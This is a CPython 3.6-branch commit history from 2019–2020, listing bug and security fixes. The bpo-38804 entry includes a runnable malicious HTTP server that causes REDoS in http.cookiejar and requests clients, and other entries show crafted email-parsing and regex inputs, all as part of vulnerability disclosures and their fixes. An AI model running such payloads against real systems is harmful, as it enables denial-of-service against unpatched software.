Skip to content
Permalink
Branch: 3.6
Commits on Jan 23, 2020
  1. bpo-39421: Fix posible crash in heapq with custom comparison operators (

    2 people authored and ned-deily committed Jan 23, 2020
    GH-18118) (GH-18146)
    
    (cherry picked from commit 79f89e6)
    
    Co-authored-by: Pablo Galindo <Pablogsal@gmail.com>
Commits on Jan 7, 2020
  1. Doc: Change Python 2 status to EOL. (GH-17885) (GH-17887)

    2 people authored and ned-deily committed Jan 7, 2020
    (cherry picked from commit f4800b8)
    
    Co-authored-by: Inada Naoki <songofacandy@gmail.com>
Commits on Jan 3, 2020
  1. [3.6] Bring Python into the next decade. (GH-17804)

    benjaminp committed Jan 3, 2020
    (cherry picked from commit 946b29e)
    
    Co-authored-by: Benjamin Peterson <benjamin@python.org>
Commits on Dec 19, 2019
  1. Post release updates

    ned-deily committed Dec 19, 2019
Commits on Dec 18, 2019
  1. 3.6.10

    ned-deily committed Dec 18, 2019
Commits on Dec 17, 2019
  1. bpo-38295: prevent test_relative_path of test_py_compile failure on m…

    miss-islington and ned-deily committed Dec 17, 2019
    …acOS Catalina (GH-17636) (GH-17638)
    
    (cherry picked from commit bf3aa10)
    
    Co-authored-by: Ned Deily <nad@python.org>
Commits on Dec 16, 2019
  1. bpo-39035: travis: Update image to xenial (GH-17622)

    methane authored and ned-deily committed Dec 16, 2019
  2. [3.6] Add whatsnew for removal of asyncio.loop.create_datagram_endpoi…

    aeros authored and ned-deily committed Dec 16, 2019
    …nt()'s *reuse_address* parameter (GH-17595). (GH-17632)
    
    (cherry picked from commit f501db2)
    
    Co-authored-by: Kyle Stanley <aeros167@gmail.com>
Commits on Dec 12, 2019
  1. Fix warnings in test_asyncio.test_base_events (GH-17577) (#17581)

    2 people authored and ambv committed Dec 12, 2019
    Co-authored-by: tirkarthi
    (cherry picked from commit 1988344)
    
    Co-authored-by: Kyle Stanley <aeros167@gmail.com>
Commits on Dec 11, 2019
  1. Post release updates

    ned-deily committed Dec 11, 2019
  2. 3.6.10rc1

    ned-deily committed Dec 11, 2019
  3. [3.6] bpo-37228: Fix loop.create_datagram_endpoint()'s usage of SO_RE…

    aeros authored and ned-deily committed Dec 11, 2019
    …USEADDR (GH-17311). (GH-17571)
    
    (cherry picked from commit ab513a3)
    
    Co-authored-by: Kyle Stanley <aeros167@gmail.com>
Commits on Dec 2, 2019
  1. bpo-38945: UU Encoding: Don't let newline in filename corrupt the out…

    2 people authored and ned-deily committed Dec 2, 2019
    …put format (GH-17418) (GH-17444)
    
    (cherry picked from commit a62ad47)
    
    Co-authored-by: Matthew Rollings <1211162+stealthcopter@users.noreply.github.com>
Commits on Nov 22, 2019
  1. bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17343)

    2 people authored and ned-deily committed Nov 22, 2019
    The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
    expression denial of service (REDoS).
    
    LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
    to parse Set-Cookie headers returned by a server.
    Processing a response from a malicious HTTP server can lead to extreme
    CPU usage and execution will be blocked for a long time.
    
    The regex contained multiple overlapping \s* capture groups.
    Ignoring the ?-optional capture groups the regex could be simplified to
    
        \d+-\w+-\d+(\s*\s*\s*)$
    
    Therefore, a long sequence of spaces can trigger bad performance.
    
    Matching a malicious string such as
    
        LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
    
    caused catastrophic backtracking.
    
    The fix removes ambiguity about which \s* should match a particular
    space.
    
    You can create a malicious server which responds with Set-Cookie headers
    to attack all python programs which access it e.g.
    
        from http.server import BaseHTTPRequestHandler, HTTPServer
    
        def make_set_cookie_value(n_spaces):
            spaces = " " * n_spaces
            expiry = f"1-c-1{spaces}!"
            return f"b;Expires={expiry}"
    
        class Handler(BaseHTTPRequestHandler):
            def do_GET(self):
                self.log_request(204)
                self.send_response_only(204)  GH- Don't bother sending Server and Date
                n_spaces = (
                    int(self.path[1:])  GH- Can GET e.g. /100 to test shorter sequences
                    if len(self.path) > 1 else
                    65506  GH- Max header line length 65536
                )
                value = make_set_cookie_value(n_spaces)
                for i in range(99):  GH- Not necessary, but we can have up to 100 header lines
                    self.send_header("Set-Cookie", value)
                self.end_headers()
    
        if __name__ == "__main__":
            HTTPServer(("", 44020), Handler).serve_forever()
    
    This server returns 99 Set-Cookie headers. Each has 65506 spaces.
    Extracting the cookies will pretty much never complete.
    
    Vulnerable client using the example at the bottom of
    https://docs.python.org/3/library/http.cookiejar.html :
    
        import http.cookiejar, urllib.request
        cj = http.cookiejar.CookieJar()
        opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
        r = opener.open("http://localhost:44020/")
    
    The popular requests library was also vulnerable without any additional
    options (as it uses http.cookiejar by default):
    
        import requests
        requests.get("http://localhost:44020/")
    
    * Regression test for http.cookiejar REDoS
    
    If we regress, this test will take a very long time.
    
    * Improve performance of http.cookiejar.ISO_DATE_RE
    
    A string like
    
    "444444" + (" " * 2000) + "A"
    
    could cause poor performance due to the 2 overlapping \s* groups,
    although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
    (cherry picked from commit 1b779bf)
    
    Co-authored-by: bcaller <bcaller@users.noreply.github.com>
Commits on Oct 23, 2019
  1. Update URL in macOS installer copy of license (GH-16905) (GH-16908)

    miss-islington and ned-deily committed Oct 23, 2019
    (cherry picked from commit 01659ca)
    
    Co-authored-by: Ned Deily <nad@python.org>
  2. [3.6] Fix Zope URL (GH-16880) (GH-16904)

    2 people authored and ned-deily committed Oct 23, 2019
    (cherry picked from commit dfe726b)
    
    Co-authored-by: Kyle Stanley <aeros167@gmail.com>
Commits on Oct 15, 2019
  1. Update doc switcher list for 3.8.0 (GH-16809) (GH-16812)

    miss-islington and ned-deily committed Oct 15, 2019
    (cherry picked from commit 3f36043)
    
    Co-authored-by: Ned Deily <nad@python.org>
Commits on Oct 14, 2019
  1. Doc: 3.8 is now stable. (GH-16790) (GH-16793)

    2 people authored and ned-deily committed Oct 14, 2019
    (cherry picked from commit 4504b45)
    
    Co-authored-by: Julien Palard <julien@palard.fr>
Commits on Sep 28, 2019
  1. [3.6] bpo-38216, bpo-36274: Allow subclasses to separately override v…

    jaraco authored and ned-deily committed Sep 28, 2019
    …alidation and encoding behavior (GH-16448) (GH-16462)
    
    (cherry picked from commit 7774d78)
    
    Co-authored-by: Jason R. Coombs <jaraco@jaraco.com>
  2. bpo-38243, xmlrpc.server: Escape the server_title (GH-16373) (GH-16441)

    vstinner authored and ned-deily committed Sep 28, 2019
    Escape the server title of xmlrpc.server.DocXMLRPCServer
    when rendering the document page as HTML.
    
    (cherry picked from commit e8650a4)
Commits on Sep 26, 2019
  1. [3.6] closes bpo-38174: Update vendored expat library to 2.2.8. (GH-1…

    benjaminp committed Sep 26, 2019
    …6410)
    
    Fixes CVE-2019-15903. See full changelog at https://github.com/libexpat/libexpat/blob/R_2_2_8/expat/Changes..
    (cherry picked from commit 52b9408)
Commits on Aug 24, 2019
  1. [3.6] bpo-37461: Fix typo (inifite -> infinite) (#15432)

    GeeTransit authored and ned-deily committed Aug 24, 2019
Commits on Aug 9, 2019
  1. bpo-34155: Dont parse domains containing @ (GH-13079) (GH-14826)

    2 people authored and ned-deily committed Aug 9, 2019
    Before:
    
            >>> email.message_from_string('From: a@malicious.org@important.com', policy=email.policy.default)['from'].addresses
            (Address(display_name='', username='a', domain='malicious.org'),)
    
            >>> parseaddr('a@malicious.org@important.com')
            ('', 'a@malicious.org')
    
        After:
    
            >>> email.message_from_string('From: a@malicious.org@important.com', policy=email.policy.default)['from'].addresses
            (Address(display_name='', username='', domain=''),)
    
            >>> parseaddr('a@malicious.org@important.com')
            ('', 'a@')
    
    https://bugs.python.org/issue34155
    (cherry picked from commit 8cb65d1)
    
    Co-authored-by: jpic <jpic@users.noreply.github.com>
Commits on Aug 1, 2019
  1. bpo-37461: Fix infinite loop in parsing of specially crafted email he…

    2 people authored and ned-deily committed Aug 1, 2019
    …aders (GH-14794) (GH-14817)
    
    Some crafted email header would cause the get_parameter method to run in an
    infinite loop causing a DoS attack surface when parsing those headers. This
    patch fixes that by making sure the DQUOTE character is handled to prevent
    going into an infinite loop.
    (cherry picked from commit a4a994b)
    
    Co-authored-by: Abhilash Raj <maxking@users.noreply.github.com>
Commits on Jul 21, 2019
  1. Fix infinite loop in email folding logic (GH-12732) (GH-14799)

    2 people authored and ned-deily committed Jul 21, 2019
    As far as I can tell, this infinite loop would be triggered if:
    
    1. The value being folded contains a single word (no spaces) longer than
       max_line_length
    2. The max_line_length is shorter than the encoding's name + 9
       characters.
    
    bpo-36564: https://bugs.python.org/issue36564
    (cherry picked from commit f69d5c6)
    
    Co-authored-by: Paul Ganssle <pganssle@users.noreply.github.com>
Commits on Jul 8, 2019
  1. bpo-37149: Replace dead link for online Tkinter reference (GH-14616)

    ned-deily and terryjreedy committed Jul 8, 2019
    Also fix a name misspelling.
    
    Co-authored-by: Terry Jan Reedy <tjreedy@udel.edu>
Commits on Jul 3, 2019
  1. Fix 3.6 documentation build for sphinx<1.6 (GH-14576)

    asottile authored and ned-deily committed Jul 3, 2019
Commits on Jul 2, 2019
  1. Post release updates

    ned-deily committed Jul 2, 2019
  2. 3.6.9

    ned-deily committed Jul 2, 2019
  3. bpo-34602: Avoid failures setting macOS stack resource limit (GH-14546)…

    miss-islington and ned-deily committed Jul 2, 2019
    … (GH-14549)
    
    Under some conditions the earlier fix for bpo-18075, "Infinite recursion
    tests triggering a segfault on Mac OS X", now causes failures on macOS
    when attempting to change stack limit with resource.setrlimit
    resource.RLIMIT_STACK, like regrtest does when running the test suite.
    The reverted change had specified a non-default stack size when linking
    the python executable on macOS.  As of macOS 10.14.4, the previous
    code causes a hard failure when running tests, although similar
    failures had been seen under some conditions under some earlier
    systems.  Reverting the change to the interpreter stack size at link
    time helped for release builds but caused some tests to fail when
    built --with-pydebug.  Try the opposite approach: continue to build
    the interpreter with an increased stack size on macOS and remove
    the failing setrlimit call in regrtest initialization.  This will
    definitely avoid the resource.RLIMIT_STACK error and should have
    no, or fewer, side effects.
    (cherry picked from commit 5bbbc73)
    
    Co-authored-by: Ned Deily <nad@python.org>
  4. Put pyexpatns.h include back. bpo-37437 (GH-14542)

    miss-islington and benjaminp committed Jul 2, 2019
    (cherry picked from commit 2cd0792)
    
    Co-authored-by: Benjamin Peterson <benjamin@python.org>
Commits on Jun 30, 2019
  1. bpo-37437: Pass -Wno-unreachable-code when compiling expat. (GH-14470) (

    2 people authored and ned-deily committed Jun 30, 2019
    GH-14472)
    
    (cherry picked from commit 95da310)
    
    Co-authored-by: Benjamin Peterson <benjamin@python.org>
Commits on Jun 28, 2019
  1. closes bpo-37437: Update vendorized expat to 2.2.7. (GH-14436)

    miss-islington and benjaminp committed Jun 28, 2019
    (cherry picked from commit 3b03b09)
    
    Co-authored-by: Benjamin Peterson <benjamin@python.org>
Commits on Jun 19, 2019
  1. Post release updates

    ned-deily committed Jun 19, 2019
Older
You can’t perform that action at this time.